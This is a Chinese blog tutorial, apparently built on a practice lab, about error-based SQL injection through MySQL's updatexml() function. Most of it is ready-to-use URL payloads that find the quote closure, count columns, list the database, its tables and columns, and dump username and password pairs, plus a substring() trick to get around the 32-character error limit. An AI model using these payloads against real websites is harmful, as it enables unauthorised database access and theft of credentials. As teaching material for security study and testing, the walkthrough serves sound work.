sql盲注_updateXml报错注入

是莱莱鸭

已于 2022-06-03 01:33:06 修改

阅读量579

点赞数

文章标签： sql 数据库 mysql

于 2022-06-03 01:30:55 首次发布

本文链接：https://blog.youkuaiyun.com/sugar_by/article/details/125109099

版权

函数updatexml(XML_document,XPath_string,new_value)包含三个参数
第一个参数是string格式，为XML文档对象名称，例如doc
第二个参数是路径
第三个参数是替换查找符合条件的数据
updatexml报错原理
同extractvalue()一样sql盲注_extractvalue报错注入
输入错误第二个参数，即更改路径的符号
正常语句

select updatexml(doc,'/book/auther/surname','1') from xml

在这里插入图片描述错误语句

select updatexml(doc,'~book/auther/surname','1') from xml

在这里插入图片描述
利用updatexml()报错注入
判断字符型/数据型

?id=1

在这里插入图片描述

判断闭合方式

?id=1'

在这里插入图片描述

?id=1"

在这里插入图片描述

可以判断为双引号闭合
查看有多少列

?id=1 union select 1,2,3--+

在这里插入图片描述

查询数据库

?id=1" and 1=updatexml(1,concat(0x7e,(select database())),3) --+

在这里插入图片描述
查询数据库表名

?id=1" and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database())),3) --+

在这里插入图片描述
查看表的列

?id=1" and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA=database() and table_name='users')),3) --+

在这里插入图片描述
查看表内容

?id=1" and 1=updatexml(1,concat(0x7e,(select group_concat(username,'~',password) from users)),3) --+

默认只能返回32字符串
使用函数substring()函数解决只能返回32个字符串的问题(功能和substr函数一样)
substring((字符串),从第几个字符开始,一次输出几个)因为有32的局限所以每次开始的字符都要不一样才能拼成完整的答案

?id=1" and 1=updatexml(1,concat(0x7e,(select substring((select group_concat(username,'~',password) from users),25,30))),3)--+

在这里插入图片描述